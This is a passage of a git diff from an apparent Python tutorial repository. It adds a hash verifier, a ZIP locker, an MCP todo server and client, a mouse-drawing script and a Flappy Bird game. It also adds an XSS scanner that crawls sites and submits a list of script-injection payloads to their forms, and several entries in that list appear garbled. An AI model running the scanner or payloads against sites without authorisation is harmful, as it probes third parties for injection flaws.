+ +# Initialize colorama to enable colored terminal text. +init() + +# Define a function to calculate the SHA-256 hash of a file. +def calculate_hash(file_path): + # Create a SHA-256 hash object. + sha256_hash = hashlib.sha256() + + # Open the file in binary mode for reading (rb). + with open(file_path, "rb") as file: + # Read the file in 64KB chunks to efficiently handle large files. + while True: + data = file.read(65536) # Read the file in 64KB chunks. + if not data: + break + # Update the hash object with the data read from the file. + sha256_hash.update(data) + + # Return the hexadecimal representation of the calculated hash. + return sha256_hash.hexdigest() + + +# Define a function to verify the calculated hash against an expected hash. +def verify_hash(downloaded_file, expected_hash): + # Calculate the hash of the downloaded file. + calculated_hash = calculate_hash(downloaded_file) + + # Compare the calculated hash with the expected hash and return the result. + return calculated_hash == expected_hash + + +# Create a parser for handling command-line arguments. +parser = argparse.ArgumentParser(description="Verify the hash of a downloaded software file.") + +# Define two command-line arguments: +# -f or --file: Path to the downloaded software file (required). +# --hash: Expected hash value (required). +parser.add_argument("-f", "--file", dest="downloaded_file", required=True, help="Path to the downloaded software file") +parser.add_argument("--hash", dest="expected_hash", required=True, help="Expected hash value") + +# Parse the command-line arguments provided when running the script. +args = parser.parse_args() + +# Check if the required command-line arguments were provided. +if not args.downloaded_file or not args.expected_hash: + # Print an error message in red using 'colorama'. + print(f"{Fore.RED}[-] Please Specify the file to validate and its Hash.") + # Exit the script. + sys.exit() + +# Check if the hash of the file is accurate by calling the verify_hash function. +if verify_hash(args.downloaded_file, args.expected_hash): + # If the hash is accurate, print a success message in green. + print(f"{Fore.GREEN}[+] Hash verification successful. The software is authentic.") +else: + # If the hash does not match, print an error message in red. + print(f"{Fore.RED}[-] Hash verification failed. The software may have been tampered with or is not authentic.") diff --git a/ethical-hacking/verify-file-integrity/requirements.txt b/ethical-hacking/verify-file-integrity/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/verify-file-integrity/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/requirements.txt b/ethical-hacking/xss-vulnerability-scanner/requirements.txt index 1f311f5c..20355cca 100644 --- a/ethical-hacking/xss-vulnerability-scanner/requirements.txt +++ b/ethical-hacking/xss-vulnerability-scanner/requirements.txt @@ -1,2 +1,3 @@ requests -bs4 \ No newline at end of file +bs4 +colorama \ No newline at end of file diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py new file mode 100644 index 00000000..104615d8 --- /dev/null +++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py @@ -0,0 +1,203 @@ +import requests # Importing requests library for making HTTP requests +from pprint import pprint # Importing pprint for pretty-printing data structures +from bs4 import BeautifulSoup as bs # Importing BeautifulSoup for HTML parsing +from urllib.parse import urljoin, urlparse # Importing utilities for URL manipulation +from urllib.robotparser import RobotFileParser # Importing RobotFileParser for parsing robots.txt files +from colorama import Fore, Style # Importing colorama for colored terminal output +import argparse # Importing argparse for command-line argument parsing + +# List of XSS payloads to test forms with +XSS_PAYLOADS = [ + '">', + '\'>', + '', + '">', + '\'>', + "';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//-->", + "", + "", +] +# global variable to store all crawled links +crawled_links = set() + +def print_crawled_links(): + """ + Print all crawled links + """ + print(f"\n[+] Links crawled:") + for link in crawled_links: + print(f" {link}") + print() + + +# Function to get all forms from a given URL +def get_all_forms(url): + """Given a `url`, it returns all forms from the HTML content""" + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all form elements in the HTML + return soup.find_all("form") + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving forms + print(f"[-] Error retrieving forms from {url}: {e}") + return [] + +# Function to extract details of a form +def get_form_details(form): + """ + This function extracts all possible useful information about an HTML `form` + """ + details = {} + # Extracting form action and method + action = form.attrs.get("action", "").lower() + method = form.attrs.get("method", "get").lower() + inputs = [] + # Extracting input details within the form + for input_tag in form.find_all("input"): + input_type = input_tag.attrs.get("type", "text") + input_name = input_tag.attrs.get("name") + inputs.append({"type": input_type, "name": input_name}) + # Storing form details in a dictionary + details["action"] = action + details["method"] = method + details["inputs"] = inputs + return details + +# Function to submit a form with a specific value +def submit_form(form_details, url, value): + """ + Submits a form given in `form_details` + Params: + form_details (list): a dictionary that contains form information + url (str): the original URL that contains that form + value (str): this will be replaced for all text and search inputs + Returns the HTTP Response after form submission + """ + target_url = urljoin(url, form_details["action"]) # Constructing the absolute form action URL + inputs = form_details["inputs"] + data = {} + # Filling form inputs with the provided value + for input in inputs: + if input["type"] == "text" or input["type"] == "search": + input["value"] = value + input_name = input.get("name") + input_value = input.get("value") + if input_name and input_value: + data[input_name] = input_value + try: + # Making the HTTP request based on the form method (POST or GET) + if form_details["method"] == "post": + return requests.post(target_url, data=data) + else: + return requests.get(target_url, params=data) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in form submission + print(f"[-] Error submitting form to {target_url}: {e}") + return None + + +def get_all_links(url): + """ + Given a `url`, it returns all links from the HTML content + """ + try: + # Using BeautifulSoup to parse HTML content of the URL + soup = bs(requests.get(url).content, "html.parser") + # Finding all anchor elements in the HTML + return [urljoin(url, link.get("href")) for link in soup.find_all("a")] + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in retrieving links + print(f"[-] Error retrieving links from {url}: {e}") + return [] + + +# Function to scan for XSS vulnerabilities +def scan_xss(args, scanned_urls=None): + """Given a `url`, it prints all XSS vulnerable forms and + returns True if any is vulnerable, None if already scanned, False otherwise""" + global crawled_links + if scanned_urls is None: + scanned_urls = set() + # Checking if the URL is already scanned + if args.url in scanned_urls: + return + # Adding the URL to the scanned URLs set + scanned_urls.add(args.url) + # Getting all forms from the given URL + forms = get_all_forms(args.url) + print(f"\n[+] Detected {len(forms)} forms on {args.url}") + # Parsing the URL to get the domain + parsed_url = urlparse(args.url) + domain = f"{parsed_url.scheme}://{parsed_url.netloc}" + if args.obey_robots: + robot_parser = RobotFileParser() + robot_parser.set_url(https://github.com/urljoin(domain,%20%22/robots.txt")) + try: + robot_parser.read() + except Exception as e: + # Handling exceptions if there's an error in reading robots.txt + print(f"[-] Error reading robots.txt file for {domain}: {e}") + crawl_allowed = False + else: + crawl_allowed = robot_parser.can_fetch("https://github.com/*", args.url) + else: + crawl_allowed = True + if crawl_allowed or parsed_url.path: + for form in forms: + form_details = get_form_details(form) + form_vulnerable = False + # Testing each form with XSS payloads + for payload in XSS_PAYLOADS: + response = submit_form(form_details, args.url, payload) + if response and payload in response.content.decode(): + print(f"\n{Fore.GREEN}[+] XSS Vulnerability Detected on {args.url}{Style.RESET_ALL}") + print(f"[*] Form Details:") + pprint(form_details) + print(f"{Fore.YELLOW}[*] Payload: {payload} {Style.RESET_ALL}") + # save to a file if output file is provided + if args.output: + with open(args.output, "a") as f: + f.write(f"URL: {args.url}\n") + f.write(f"Form Details: {form_details}\n") + f.write(f"Payload: {payload}\n") + f.write("-"*50 + "\n\n") + form_vulnerable = True + break # No need to try other payloads for this endpoint + if not form_vulnerable: + print(f"{Fore.MAGENTA}[-] No XSS vulnerability found on {args.url}{Style.RESET_ALL}") + # Crawl links if the option is enabled + if args.crawl: + print(f"\n[+] Crawling links from {args.url}") + try: + # Crawling links from the given URL + links = get_all_links(args.url) + except requests.exceptions.RequestException as e: + # Handling exceptions if there's an error in crawling links + print(f"[-] Error crawling links from {args.url}: {e}") + links = [] + for link in set(links): # Removing duplicates + if link.startswith(domain): + crawled_links.add(link) + if args.max_links and len(crawled_links) >= args.max_links: + print(f"{Fore.CYAN}[-] Maximum links ({args.max_links}) limit reached. Exiting...{Style.RESET_ALL}") + print_crawled_links() + exit(0) + # Recursively scanning XSS vulnerabilities for crawled links + args.url = link + link_vulnerable = scan_xss(args, scanned_urls) + if not link_vulnerable: + continue + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Extended XSS Vulnerability scanner script.") + parser.add_argument("url", help="URL to scan for XSS vulnerabilities") + parser.add_argument("-c", "--crawl", action="https://github.com/store_true", help="Crawl links from the given URL") + # max visited links + parser.add_argument("-m", "--max-links", type=int, default=0, help="Maximum number of links to visit. Default 0, which means no limit.") + parser.add_argument("--obey-robots", action="https://github.com/store_true", help="Obey robots.txt rules") + parser.add_argument("-o", "--output", help="Output file to save the results") + args = parser.parse_args() + scan_xss(args) # Initiating XSS vulnerability scan + + print_crawled_links() diff --git a/ethical-hacking/zip-file-locker/README.md b/ethical-hacking/zip-file-locker/README.md new file mode 100644 index 00000000..8a846e07 --- /dev/null +++ b/ethical-hacking/zip-file-locker/README.md @@ -0,0 +1 @@ +# [How to Create a Zip File Locker in Python](https://thepythoncode.com/article/build-a-zip-file-locker-in-python) \ No newline at end of file diff --git a/ethical-hacking/zip-file-locker/requirements.txt b/ethical-hacking/zip-file-locker/requirements.txt new file mode 100644 index 00000000..49cc4dc0 --- /dev/null +++ b/ethical-hacking/zip-file-locker/requirements.txt @@ -0,0 +1,2 @@ +colorama +pyzipper \ No newline at end of file diff --git a/ethical-hacking/zip-file-locker/zip_file_locker.py b/ethical-hacking/zip-file-locker/zip_file_locker.py new file mode 100644 index 00000000..67790324 --- /dev/null +++ b/ethical-hacking/zip-file-locker/zip_file_locker.py @@ -0,0 +1,59 @@ +# Import the necessary libraries. +import pyzipper, argparse, sys, re, getpass +from colorama import Fore, init + +init() + +# Define a function to get CLI commands. +def get_cli_arguments(): + parser = argparse.ArgumentParser(description="A program to lock a ZIP File.") + # Collect user arguments. + parser.add_argument('--zipfile', '-z', dest='zip_file', help='Specify the ZIP file to create or update.') + parser.add_argument('--addfile', '-a', dest='add_files', nargs='+', help='Specify one or more files to add to the ZIP file(s).') + + # Parse the collected arguments. + args = parser.parse_args() + + # Check if arguments are missing, print appropriate messages and exit the program. + if not args.zip_file: + parser.print_help() + sys.exit() + if not args.add_files: + parser.print_help() + sys.exit() + + return args + +# Function to check password strength. +def check_password_strength(password): + # Check for minimum length. In our case, 8. + if len(password) < 8: + return False + + # Check for at least one uppercase letter, one lowercase letter, and one digit. + if not (re.search(r'[A-Z]', password) and re.search(r'[a-z]', password) and re.search(r'\d', password)): + return False + + return True + +# Call the arguments function. +arguments = get_cli_arguments() + +# Get user password +password = getpass.getpass("[?] Enter your password > ") + +# If password is weak, tell the user and exit the program. +if not check_password_strength(password): + print(f"{Fore.RED}[-] Password is not strong enough. It should have at least 8 characters and contain at least one uppercase letter, one lowercase letter, and one digit.") + sys.exit() + +# Create a password-protected ZIP file. +with pyzipper.AESZipFile(arguments.zip_file, 'w', compression=pyzipper.ZIP_LZMA, encryption=pyzipper.WZ_AES) as zf: + zf.setpassword(password.encode()) + + # Add files to the ZIP file. + for file_to_add in arguments.add_files: + zf.write(file_to_add) + +# Print a Success message. +print(f"{Fore.GREEN}[+] ZIP file is locked with a strong password.") diff --git a/general/fastmcp-mcp-client-server-todo-manager/README.md b/general/fastmcp-mcp-client-server-todo-manager/README.md new file mode 100644 index 00000000..dd988428 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/README.md @@ -0,0 +1,39 @@ +# Build a real MCP client and server in Python with FastMCP (Todo Manager example) + +This folder contains the code that accompanies the article: + +- Article: https://www.thepythoncode.com/article/fastmcp-mcp-client-server-todo-manager + +What’s included +- `todo_server.py`: FastMCP MCP server exposing tools, resources, and a prompt for a Todo Manager. +- `todo_client_test.py`: A small client script that connects to the server and exercises all features. +- `requirements.txt`: Python dependencies for this tutorial. + +Quick start +1) Install requirements +```bash +python -m venv .venv && source .venv/bin/activate # or use your preferred env manager +pip install -r requirements.txt +``` + +2) Run the server (stdio transport by default) +```bash +python todo_server.py +``` + +3) In a separate terminal, run the client +```bash +python todo_client_test.py +``` + +Optional: run the server over HTTP +- In `todo_server.py`, replace the last line with: +```python +mcp.run(transport="http", host="127.0.0.1", port=8000) +``` +- Then change the client constructor to `Client("http://127.0.0.1:8000/mcp")`. + +Notes +- Requires Python 3.10+. +- The example uses in-memory storage for simplicity. +- For production tips (HTTPS, auth, containerization), see the article. diff --git a/general/fastmcp-mcp-client-server-todo-manager/requirements.txt b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt new file mode 100644 index 00000000..2c9387f7 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/requirements.txt @@ -0,0 +1 @@ +fastmcp>=2.12 \ No newline at end of file diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py new file mode 100644 index 00000000..f01a1e78 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_client_test.py @@ -0,0 +1,50 @@ +import asyncio +from fastmcp import Client + +async def main(): + # Option A: Connect to local Python script (stdio) + client = Client("todo_server.py") + + # Option B: In-memory (for tests) + # from todo_server import mcp + # client = Client(mcp) + + async with client: + await client.ping() + print("[OK] Connected") + + # Create a few todos + t1 = await client.call_tool("create_todo", {"title": "Write README", "priority": "high"}) + t2 = await client.call_tool("create_todo", {"title": "Refactor utils", "description": "Split helpers into modules"}) + t3 = await client.call_tool("create_todo", {"title": "Add tests", "priority": "low"}) + print("Created IDs:", t1.data["id"], t2.data["id"], t3.data["id"]) + + # List open + open_list = await client.call_tool("list_todos", {"status": "open"}) + print("Open IDs:", [t["id"] for t in open_list.data["items"]]) + + # Complete one + updated = await client.call_tool("complete_todo", {"todo_id": t2.data["id"]}) + print("Completed:", updated.data["id"], "status:", updated.data["status"]) + + # Search + found = await client.call_tool("search_todos", {"query": "readme"}) + print("Search 'readme':", [t["id"] for t in found.data["items"]]) + + # Resources + stats = await client.read_resource("stats://todos") + print("Stats:", getattr(stats[0], "text", None) or stats[0]) + + todo2 = await client.read_resource(f"todo://{t2.data['id']}") + print("todo://{id}:", getattr(todo2[0], "text", None) or todo2[0]) + + # Prompt + prompt_msgs = await client.get_prompt("suggest_next_action", {"pending": 2, "project": "MCP tutorial"}) + msgs_pretty = [ + {"role": m.role, "content": getattr(m, "content", None) or getattr(m, "text", None)} + for m in getattr(prompt_msgs, "messages", []) + ] + print("Prompt messages:", msgs_pretty) + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/general/fastmcp-mcp-client-server-todo-manager/todo_server.py b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py new file mode 100644 index 00000000..64f99b73 --- /dev/null +++ b/general/fastmcp-mcp-client-server-todo-manager/todo_server.py @@ -0,0 +1,88 @@ +from typing import Literal +from itertools import count +from datetime import datetime, timezone +from fastmcp import FastMCP + +# In-memory storage for demo purposes +TODOS: list[dict] = [] +_id = count(start=1) + +mcp = FastMCP(name="Todo Manager") + +@mcp.tool +def create_todo( + title: str, + description: str = "", + priority: Literal["low", "medium", "high"] = "medium", +) -> dict: + """Create a todo (id, title, status, priority, timestamps).""" + todo = { + "id": next(_id), + "title": title, + "description": description, + "priority": priority, + "status": "open", + "created_at": datetime.now(timezone.utc).isoformat(), + "completed_at": None, + } + TODOS.append(todo) + return todo + +@mcp.tool +def list_todos(status: Literal["open", "done", "all"] = "open") -> dict: + """List todos by status ('open' | 'done' | 'all').""" + if status == "all": + items = TODOS + elif status == "open": + items = [t for t in TODOS if t["status"] == "open"] + else: + items = [t for t in TODOS if t["status"] == "done"] + return {"items": items} + +@mcp.tool +def complete_todo(todo_id: int) -> dict: + """Mark a todo as done.""" + for t in TODOS: + if t["id"] == todo_id: + t["status"] = "done" + t["completed_at"] = datetime.now(timezone.utc).isoformat() + return t + raise ValueError(f"Todo {todo_id} not found") + +@mcp.tool +def search_todos(query: str) -> dict: + """Case-insensitive search in title/description.""" + q = query.lower().strip() + items = [t for t in TODOS if q in t["title"].lower() or q in t["description"].lower()] + return {"items": items} + +# Read-only resources +@mcp.resource("stats://todos") +def todo_stats() -> dict: + """Aggregated stats: total, open, done.""" + total = len(TODOS) + open_count = sum(1 for t in TODOS if t["status"] == "open") + done_count = total - open_count + return {"total": total, "open": open_count, "done": done_count} + +@mcp.resource("todo://{id}") +def get_todo(id: int) -> dict: + """Fetch a single todo by id.""" + for t in TODOS: + if t["id"] == id: + return t + raise ValueError(f"Todo {id} not found") + +# A reusable prompt +@mcp.prompt +def suggest_next_action(pending: int, project: str | None = None) -> str: + """Render a small instruction for an LLM to propose next action.""" + base = f"You have {pending} pending TODOs. " + if project: + base += f"They relate to the project '{project}'. " + base += "Suggest the most impactful next action in one short sentence." + return base + +if __name__ == "__main__": + # Default transport is stdio; you can also use transport="http", host=..., port=... + mcp.run() diff --git a/general/interactive-weather-plot/interactive_weather_plot.py b/general/interactive-weather-plot/interactive_weather_plot.py index b4d17141..3d1ea566 100644 --- a/general/interactive-weather-plot/interactive_weather_plot.py +++ b/general/interactive-weather-plot/interactive_weather_plot.py @@ -68,7 +68,7 @@ def changeLocation(newLocation): # Making the Radio Buttons buttons = RadioButtons( ax=plt.axes([0.1, 0.1, 0.2, 0.2]), - labels=locations.keys() + labels=list(locations.keys()) ) # Connect click event on the buttons to the function that changes location. @@ -86,4 +86,4 @@ def changeLocation(newLocation): plt.savefig('file.svg', format='svg') -plt.show() \ No newline at end of file +plt.show() diff --git a/general/mouse-controller/draw.py b/general/mouse-controller/draw.py new file mode 100644 index 00000000..7eab5a48 --- /dev/null +++ b/general/mouse-controller/draw.py @@ -0,0 +1,35 @@ +import mouse +import math +import time + +def draw_square(size): + # click and hold the left mouse button + mouse.press() + mouse.move(size, 0, absolute=False, duration=0.2) + mouse.move(0, size, absolute=False, duration=0.2) + mouse.move(-size, 0, absolute=False, duration=0.2) + mouse.move(0, -size, absolute=False, duration=0.2) + # release the left mouse button + mouse.release() + + +def draw_circle(radius): + # click and hold the left mouse button + mouse.press() + # move the mouse in a circle + for i in range(0, 360, 5): + # convert degrees to radians + angle = math.radians(i) + # calculate the x and y coordinates + x = radius * math.cos(angle) + y = radius * math.sin(angle) + # move the mouse to the calculated position + mouse.move(x, y, absolute=False, duration=0.01) + # release the left mouse button + mouse.release() + +if __name__ == "__main__": + # Place the mouse at the starting point and then call + draw_square(200) + time.sleep(1) + draw_circle(10) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/README.md b/gui-programming/adding-sound-effects-to-games/README.md new file mode 100644 index 00000000..65bd6f17 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/README.md @@ -0,0 +1 @@ +# [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/0.png b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png new file mode 100644 index 00000000..cc0c1f20 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/0.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/1.png b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png new file mode 100644 index 00000000..73e9592a Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/1.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/bird/2.png b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png new file mode 100644 index 00000000..d89bb79b Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/bird/2.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav new file mode 100644 index 00000000..49ceb7d8 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/bgm.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav new file mode 100644 index 00000000..9dcc7062 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/hit.wav differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 new file mode 100644 index 00000000..cb9fcc85 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/sfx/whoosh.mp3 differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png new file mode 100644 index 00000000..0c6b138c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/bg.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png new file mode 100644 index 00000000..70105cb5 Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/ground.png differ diff --git a/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png new file mode 100644 index 00000000..03e3e82c Binary files /dev/null and b/gui-programming/adding-sound-effects-to-games/assets/terrain/pipe.png differ diff --git a/gui-programming/adding-sound-effects-to-games/bird.py b/gui-programming/adding-sound-effects-to-games/bird.py new file mode 100644 index 00000000..0d7aec26 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/bird.py @@ -0,0 +1,46 @@ +import pygame +from settings import import_sprite + +class Bird(pygame.sprite.Sprite): + def __init__(self, pos, size): + super().__init__() + # bird basic info + self.frame_index = 0 + self.animation_delay = 3 + self.jump_move = -8 + + # bird animation + self.bird_img = import_sprite("assets/bird") + self.image = self.bird_img[self.frame_index] + self.image = pygame.transform.scale(self.image, (size, size)) + self.rect = self.image.get_rect(topleft = pos) + self.mask = pygame.mask.from_surface(self.image) + + # bird status + self.direction = pygame.math.Vector2(0, 0) + self.score = 0 + + # for bird's flying animation + def _animate(self): + sprites = self.bird_img + sprite_index = (self.frame_index // self.animation_delay) % len(sprites) + self.image = sprites[sprite_index] + self.frame_index += 1 + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + self.mask = pygame.mask.from_surface(self.image) + if self.frame_index // self.animation_delay > len(sprites): + self.frame_index = 0 + + # to make the bird fly higher + def _jump(self): + self.direction.y = self.jump_move + whoosh = pygame.mixer.Sound("assets/sfx/whoosh.mp3") + whoosh.set_volume(0.5) + whoosh.play() + + # updates the bird's overall state + def update(self, is_jump): + if is_jump: + self._jump() + self._animate() + # print(self.score) \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/game.py b/gui-programming/adding-sound-effects-to-games/game.py new file mode 100644 index 00000000..d2d7e622 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/game.py @@ -0,0 +1,25 @@ +import pygame +from settings import WIDTH, HEIGHT + +pygame.font.init() + +class GameIndicator: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont('Bauhaus 93', 60) + self.inst_font = pygame.font.SysFont('Bauhaus 93', 30) + self.color = pygame.Color("white") + self.inst_color = pygame.Color("black") + + def show_score(self, int_score): + bird_score = str(int_score) + score = self.font.render(bird_score, True, self.color) + self.screen.blit(score, (WIDTH // 2, 50)) + + def instructions(self): + inst_text1 = "Press SPACE button to Jump," + inst_text2 = "Press \"R\" Button to Restart Game." + ins1 = self.inst_font.render(inst_text1, True, self.inst_color) + ins2 = self.inst_font.render(inst_text2, True, self.inst_color) + self.screen.blit(ins1, (95, 400)) + self.screen.blit(ins2, (70, 450)) diff --git a/gui-programming/adding-sound-effects-to-games/main.py b/gui-programming/adding-sound-effects-to-games/main.py new file mode 100644 index 00000000..ea83ee54 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/main.py @@ -0,0 +1,44 @@ +import pygame, sys +from settings import WIDTH, HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT)) +pygame.display.set_caption("Flappy Bird") + +class Main: + def __init__(self, screen): + self.screen = screen + self.bg_img = pygame.image.load('assets/terrain/bg.png') + self.bg_img = pygame.transform.scale(self.bg_img, (WIDTH, HEIGHT)) + self.FPS = pygame.time.Clock() + + def main(self): + pygame.mixer.music.load("assets/sfx/bgm.wav") + pygame.mixer.music.play(-1) + pygame.mixer.music.set_volume(0.8) + world = World(screen) + while True: + self.screen.blit(self.bg_img, (0, 0)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + elif event.type == pygame.KEYDOWN: + if not world.playing and not world.game_over: + world.playing = True + if event.key == pygame.K_SPACE: + world.update("jump") + if event.key == pygame.K_r: + world.update("restart") + + world.update() + pygame.display.update() + self.FPS.tick(60) + +if __name__ == "__main__": + play = Main(screen) + play.main() diff --git a/gui-programming/adding-sound-effects-to-games/pipe.py b/gui-programming/adding-sound-effects-to-games/pipe.py new file mode 100644 index 00000000..a66a959b --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/pipe.py @@ -0,0 +1,21 @@ +import pygame + +class Pipe(pygame.sprite.Sprite): + def __init__(self, pos, width, height, flip): + super().__init__() + self.width = width + img_path = 'assets/terrain/pipe.png' + self.image = pygame.image.load(img_path) + self.image = pygame.transform.scale(self.image, (width, height)) + if flip: + flipped_image = pygame.transform.flip(self.image, False, True) + self.image = flipped_image + self.rect = self.image.get_rect(topleft = pos) + + # update object position due to world scroll + def update(self, x_shift): + self.rect.x += x_shift + + # removes the pipe in the game screen once it is not shown in the screen anymore + if self.rect.right < (-self.width): + self.kill() \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/requirements.txt b/gui-programming/adding-sound-effects-to-games/requirements.txt new file mode 100644 index 00000000..a1cadd9d --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/requirements.txt @@ -0,0 +1 @@ +pygame==2.5.2 \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/settings.py b/gui-programming/adding-sound-effects-to-games/settings.py new file mode 100644 index 00000000..52cb46a4 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/settings.py @@ -0,0 +1,25 @@ +WIDTH, HEIGHT = 600, 680 + +pipe_pair_sizes = [ + (1, 7), + (2, 6), + (3, 5), + (4, 4), + (5, 3), + (6, 2), + (7, 1) +] +pipe_size = HEIGHT // 10 +pipe_gap = (pipe_size * 2) + (pipe_size // 2) + +from os import walk +import pygame + +def import_sprite(path): + surface_list = [] + for _, __, img_file in walk(path): + for image in img_file: + full_path = f"{path}/{image}" + img_surface = pygame.image.load(full_path).convert_alpha() + surface_list.append(img_surface) + return surface_list \ No newline at end of file diff --git a/gui-programming/adding-sound-effects-to-games/world.py b/gui-programming/adding-sound-effects-to-games/world.py new file mode 100644 index 00000000..06712546 --- /dev/null +++ b/gui-programming/adding-sound-effects-to-games/world.py @@ -0,0 +1,105 @@ +import pygame +from pipe import Pipe +from bird import Bird +from game import GameIndicator +from settings import WIDTH, HEIGHT, pipe_size, pipe_gap, pipe_pair_sizes +import random + +class World: + def __init__(self, screen): + self.screen = screen + self.world_shift = 0 + self.current_x = 0 + self.gravity = 0.5 + self.current_pipe = None + self.pipes = pygame.sprite.Group() + self.player = pygame.sprite.GroupSingle() + self._generate_world() + self.playing = False + self.game_over = False + self.passed = True + self.game = GameIndicator(screen) + + # creates the player and the obstacle + def _generate_world(self): + self._add_pipe() + bird = Bird((WIDTH//2 - pipe_size, HEIGHT//2 - pipe_size), 30) + self.player.add(bird) + + # adds pipe once the last pipe added reached the desired pipe horizontal spaces + def _add_pipe(self): + pipe_pair_size = random.choice(pipe_pair_sizes) + top_pipe_height, bottom_pipe_height = pipe_pair_size[0] * pipe_size, pipe_pair_size[1] * pipe_size + + pipe_top = Pipe((WIDTH, 0 - (bottom_pipe_height + pipe_gap)), pipe_size, HEIGHT, True) + pipe_bottom = Pipe((WIDTH, top_pipe_height + pipe_gap), pipe_size, HEIGHT, False) + self.pipes.add(pipe_top) + self.pipes.add(pipe_bottom) + self.current_pipe = pipe_top + + # for moving background/obstacle + def _scroll_x(self): + if self.playing: + self.world_shift = -6 + else: + self.world_shift = 0 + + # add gravity to bird for falling + def _apply_gravity(self, player): + if self.playing or self.game_over: + player.direction.y += self.gravity + player.rect.y += player.direction.y + + # handles scoring and collision + def _handle_collisions(self): + bird = self.player.sprite + # for collision checking + if pygame.sprite.groupcollide(self.player, self.pipes, False, False) or bird.rect.bottom >= HEIGHT or bird.rect.top <= 0: + if self.playing: + hit = pygame.mixer.Sound("assets/sfx/hit.wav") + hit.set_volume(0.7) + hit.play() + self.playing = False + self.game_over = True + # for scoring + else: + bird = self.player.sprite + if bird.rect.x >= self.current_pipe.rect.centerx: + bird.score += 1 + self.passed = True + + # updates the bird's overall state + def update(self, player_event = None): + # new pipe adder + if self.current_pipe.rect.centerx <= (WIDTH // 2) - pipe_size: + self._add_pipe() + + # updates, draws pipes + self.pipes.update(self.world_shift) + self.pipes.draw(self.screen) + + # applying game physics + self._apply_gravity(self.player.sprite) + self._scroll_x() + self._handle_collisions() + + # configuring player actions + if player_event == "jump" and not self.game_over: + player_event = True + elif player_event == "restart": + self.game_over = False + self.pipes.empty() + self.player.empty() + self.player.score = 0 + self._generate_world() + else: + player_event = False + + if not self.playing: + self.game.instructions() + + # updates, draws pipes + self.player.update(player_event) + self.player.draw(self.screen) + + self.game.show_score(self.player.sprite.score) \ No newline at end of file diff --git a/gui-programming/checkers-game/Board.py b/gui-programming/checkers-game/Board.py new file mode 100644 index 00000000..4da2ebb6 --- /dev/null +++ b/gui-programming/checkers-game/Board.py @@ -0,0 +1,84 @@ +import pygame +from Tile import Tile +from Pawn import Pawn + +class Board: + def __init__(self,tile_width, tile_height, board_size): + self.tile_width = tile_width + self.tile_height = tile_height + self.board_size = board_size + self.selected_piece = None + + self.turn = "black" + self.is_jump = False + + self.config = [ + ['', 'bp', '', 'bp', '', 'bp', '', 'bp'], + ['bp', '', 'bp', '', 'bp', '', 'bp', ''], + 